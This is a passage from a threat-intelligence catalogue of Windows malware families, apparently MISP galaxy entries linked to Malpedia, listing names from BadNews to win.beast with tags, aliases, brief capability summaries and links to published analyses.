https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf
https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/

BadNews

The tag is: *misp-galaxy:malpedia="BadNews"*

BadNews is also known as:

Table 3265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1
https://lab52.io/blog/new-patchwork-campaign-against-pakistan/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign
https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://securelist.com/apt-trends-report-q1-2021/101967/
https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait
https://ti.qianxin.com/blog/articles/apt-c-09-reappeared-as-conflict-intensified-between-india-and-pakistan/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/

Bagle

The tag is: *misp-galaxy:malpedia="Bagle"*

Bagle is also known as:

Table 3266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle
https://archive.f-secure.com/weblog/archives/carrera_erdelyi_VB2004.pdf

Bahamut (Windows)

The tag is: *misp-galaxy:malpedia="Bahamut (Windows)"*

Bahamut (Windows) is also known as:

Table 3267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf

Baldr

The tag is: *misp-galaxy:malpedia="Baldr"*

Baldr is also known as:

- Baldir

Table 3268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr
https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/
https://www.youtube.com/watch?v=E2V4kB_gtcQ
https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf

BalkanDoor

According to ESET, BalkanDoor is a simple backdoor with a small number of commands (download and execute a file, create a remote shell, take a screenshot). It can be used to automate tasks on the compromised computer or to automatically control several affected computers at once. We have seen six versions of the backdoor, with a range of supported commands, evolve since 2016.

The tag is: *misp-galaxy:malpedia="BalkanDoor"*

BalkanDoor is also known as:

Table 3269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door
https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/

BalkanRAT

The goal of BalkanRAT which is a more complex part of the malicious Balkan-toolset (cf. BalkanDoor) is to deploy and leverage legitimate commercial software for remote administration. The malware has several additional components to help load, install and conceal the existence of the remote desktop software. A single long-term campaign involving BalkanRAT has been active at least from January 2016 and targeted accouting departments of organizations in Croatia, Serbia, Montenegro, and Bosnia and Herzegovina (considered that the contents of the emails, included links and decoy PDFs all were involving taxes). It was legitimaly signed and installed by an exploit of the WinRAR ACE vulnerability (CVE-2018-20250).

The tag is: *misp-galaxy:malpedia="BalkanRAT"*

BalkanRAT is also known as:

Table 3270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_rat
https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/

Bamital

The tag is: *misp-galaxy:malpedia="Bamital"*

Bamital is also known as:

Table 3271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf
https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/

Banatrix

The tag is: *misp-galaxy:malpedia="Banatrix"*

Banatrix is also known as:

Table 3272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/

bancos

The tag is: *misp-galaxy:malpedia="bancos"*

bancos is also known as:

Table 3273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil

https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html

Bandit Stealer

The tag is: *misp-galaxy:malpedia="Bandit Stealer"*

Bandit Stealer is also known as:

Table 3274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit
https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.trendmicro.com/en_in/research/23/e/new-info-stealer-bandit-stealer-targets-browsers-wallets.html
https://www.zscaler.com/blogs/security-research/technical-analysis-bandit-stealer
https://research.openanalysis.net/bandit/stealer/garble/go/obfuscation/2023/07/31/bandit-garble.html
https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html

Bandook

Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.

The tag is: *misp-galaxy:malpedia="Bandook"*

Bandook is also known as:

- Bandok

Table 3275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook
https://www.eff.org/files/2018/01/29/operation-manul.pdf
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook
https://research.checkpoint.com/2020/bandook-signed-delivered

https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/the-evolution-of-dark-caracal-tools-analysis-of-a-campaign-featuring-poco-rat/
https://twitter.com/malwrhunterteam/status/796425285197561856
https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://www.fortinet.com/blog/threat-research/bandook-persistent-threat-that-keeps-evolving
https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot
https://www.eff.org/deeplinks/2023/02/uncle-sow-dark-caracal-latin-america
https://research.checkpoint.com/2020/bandook-signed-delivered/

bangat

The tag is: *misp-galaxy:malpedia="bangat"*

bangat is also known as:

Table 3276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat
https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal

Banjori

The tag is: *misp-galaxy:malpedia="Banjori"*

Banjori is also known as:

- BackPatcher
- BankPatch
- MultiBanker 2

Table 3277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori
http://blog.kleissner.org/?p=69
http://blog.kleissner.org/?p=192
http://osint.bambenekconsulting.com/feeds/
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Bankshot

The tag is: *misp-galaxy:malpedia="Bankshot"*

Bankshot is also known as:

- COPPERHEDGE
- FoggyBrass

Table 3278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot
https://blog.reversinglabs.com/blog/hidden-cobra
https://malverse.it/analisi-bankshot-copperhedge
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://www.us-cert.gov/ncas/analysis-reports/ar20-133a
https://us-cert.cisa.gov/ncas/alerts/aa22-108a
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-108a
https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF

BanPolMex RAT

BanPolMex is a remote access trojan that uses TCP for communication.

It uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.

It sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale,

system metrics, manufacturer, and network configuration.

It supports almost 30 commands that include operations on the victim's filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker's C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PVEW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.

It has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).

BanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.

The tag is: *misp-galaxy:malpedia="BanPolMex RAT"*

BanPolMex RAT is also known as:

Table 3279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/

BaoLoader

According to Expel, the developers behind the recent AppSuite-PDF and PDF Editor campaigns have used at least 26 code-signing certificates over the last seven years to make their software appear legitimate. Due to different use of and certificate clustering, the malware is believed different from both Chromeloader and TamperedChef.

The tag is: *misp-galaxy:malpedia="BaoLoader"*

BaoLoader is also known as:

Table 3280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.baoloader
https://expel.com/blog/the-history-of-appsuite-the-certs-of-the-baoloader-developer/

Barb(ie) Downloader

The tag is: *misp-galaxy:malpedia="Barb(ie) Downloader"*

Barb(ie) Downloader is also known as:

Table 3281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barbie
https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials

BarbWire

The tag is: *misp-galaxy:malpedia="BarbWire"*

BarbWire is also known as:

Table 3282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barbwire
https://www.sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition/
https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials

barkiofork

The tag is: *misp-galaxy:malpedia="barkiofork"*

barkiofork is also known as:

Table 3283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barkiofork
https://www.symantec.com/connect/blogs/backdoorbarkiofork-targets-aerospace-and-defense-industry

Bart

The tag is: *misp-galaxy:malpedia="Bart"*

Bart is also known as:

Table 3284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bart
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://intel471.com/blog/a-brief-history-of-ta505

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

BatchWiper

The tag is: *misp-galaxy:malpedia="BatchWiper"*

BatchWiper is also known as:

Table 3285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html

Batel

The tag is: *misp-galaxy:malpedia="Batel"*

Batel is also known as:

Table 3286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batel
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

BATLOADER

According to PCrisk, BATLOADER is part of the infection chain where it is used to perform the initial compromise. This malware is used to execute payloads like Ursnif. Our team has discovered BATLOADER after executing installers for legitimate software (such as Zoom, TeamViewer Visual Studio) bundled with this malware. We have found those installers on compromised websites.

The tag is: *misp-galaxy:malpedia="BATLOADER"*

BATLOADER is also known as:

Table 3287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs

https://intel471.com/blog/malvertising-surges-to-distribute-malware
https://www.mandiant.com/resources/seo-poisoning-batloader-atera
https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://www.trendmicro.com/en_us/research/23/a/batloader-malware-abuses-legitimate-tools-uses-obfuscated-javasc.html
https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle
https://www.esentire.com/blog/batloader-continues-signed-msix-app-package-abuse
https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader
https://www.seqrite.com/blog/decoding-batloader-2-x-unmasking-the-threat-of-stealthy-malware-tactics/
https://www.trendmicro.com/en_us/research/23/h/batloader-campaigns-use-pyarmor-pro-for-evasion.html

BazarBackdoor

BazarBackdoor is a small backdoor, probably by a TrickBot "spin-off" like anchor. Its called team9 backdoor (and the corresponding loader: team9 restart loader).

For now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.

The tag is: *misp-galaxy:malpedia="BazarBackdoor"*

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader

Table 3288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor

https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/

https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/

https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf

https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/

https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/

https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors

https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/

https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/

https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html

https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/

https://forensicitguy.github.io/bazariso-analysis-advpack/

https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://cofense.com/blog/bazarbackdoor-stealthy-infiltration

https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit_*John_Hammond_Huntress*_Analyzing_Ryuk.pdf

https://fr3d.hk/blog/campo-loader-simple-but-effective

https://johannesbader.ch/blog/yet-another-bazarloader-dga/

https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/

https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/

https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/

https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.scythe.io/library/threatthursday-ryuk

https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/

https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

https://unit42.paloaltonetworks.com/bazarloader-malware/

https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti

https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d

https://thedfirreport.com/2021/01/31/bazar-no-ryuk/

https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html

https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

https://experience.mandiant.com/trending-evil/p/1

https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/

https://abnormalsecurity.com/blog/bazarloader-contact-form

https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/

https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware

https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/

https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/

https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html

https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor

https://malwarebookreports.com/a-look-back-at-bazarloaders-dga/

https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/

https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9

https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon

https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/

https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/

https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/

https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html

https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles

https://www.youtube.com/watch?v=pIXl79IPkLI

https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf

https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/

https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue

https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets

https://www.hhs.gov/sites/default/files/bazarloader.pdf

https://www.youtube.com/watch?v=uAkeXCYcl4Y

https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II

https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e

https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html

https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html

https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/

https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I

https://twitter.com/Unit42_Intel/status/1458113934024757256

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

https://thedfirreport.com/2021/12/13/diavol-ransomware/

https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/

https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/

https://www.crowdstrike.com/blog/wizard-spider-adversary-update/

https://unit42.paloaltonetworks.com/ryuk-ransomware/

https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf

https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/

https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/

https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth

https://thedfirreport.com/2020/10/08/ryuks-return/

https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/

https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/

https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf

https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

https://twitter.com/anthomsec/status/1321865315513520128

https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/

https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/

https://malwarebookreports.com/bazarloader-back-from-holiday-break/

https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/

https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/
https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors
https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/
https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/
https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/
https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv
https://unit42.paloaltonetworks.com/api-hammering-malware-families/
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/
https://isc.sans.edu/diary/27308
https://intel471.com/blog/conti-leaks-ransomware-development
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/
https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/
https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident

BazarNimrod

A rewrite of Bazarloader in the Nim programming language.

The tag is: *misp-galaxy:malpedia="BazarNimrod"*

BazarNimrod is also known as:

- NimzaLoader

Table 3289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod

https://twitter.com/James_inthe_box/status/1357009652857196546
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf

BBSRAT

The tag is: *misp-galaxy:malpedia="BBSRAT"*

BBSRAT is also known as:

Table 3290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf
https://www.youtube.com/watch?v=uakw2HMGZ-I
https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae

BBtok

360 Security Center describes BBtok as a banking trojan targeting Mexico.

The tag is: *misp-galaxy:malpedia="BBtok"*

BBtok is also known as:

Table 3291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbtok

https://blog.360totalsecurity.com/en/360-file-less-attack-protection-intercepts-the-banker-trojan-bbtok-active-in-mexico/
https://www.gdatasoftware.com/blog/2024/09/38039-bbtok-deobfuscating-net-loader
https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/

BDarkRAT

According to Threatray, BDarkRAT is a .NET RAT first discovered in 2019 that Bitter group continues to use until at least 2025.

The tag is: *misp-galaxy:malpedia="BDarkRAT"*

BDarkRAT is also known as:

Table 3292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bdark_rat
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two

Beapy

According to Symantec, Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks.

The tag is: *misp-galaxy:malpedia="Beapy"*

Beapy is also known as:

Table 3293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy
https://www.symantec.com/blogs/threat-intelligence/beapy-cryptojacking-worm-china

BEARDSHELL

According to CERT-UA, this is a malware developed using the C++ programming language. It provides capabilities for downloading, decryption (chacha20-poly150) and performing PowerShell scripts, as well as uploading the command's results.

The tag is: *misp-galaxy:malpedia="BEARDSHELL"*

BEARDSHELL is also known as:

Table 3294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beardshell
https://cert.gov.ua/article/6284080
https://blog.sekoia.io/apt28-operation-phantom-net-voxel/

win.beast

Beast is a Ransomware-as-a-service (RaaS) product which provides functionality such as SMB scanning, file encryption, service and process starting and stopping, and geographic identification to avoid encryption in CIS countries.

The tag is: *misp-galaxy:malpedia="win.beast"*

win.beast is also known as:

- blacklockbit

Table 3295. Table References

Links
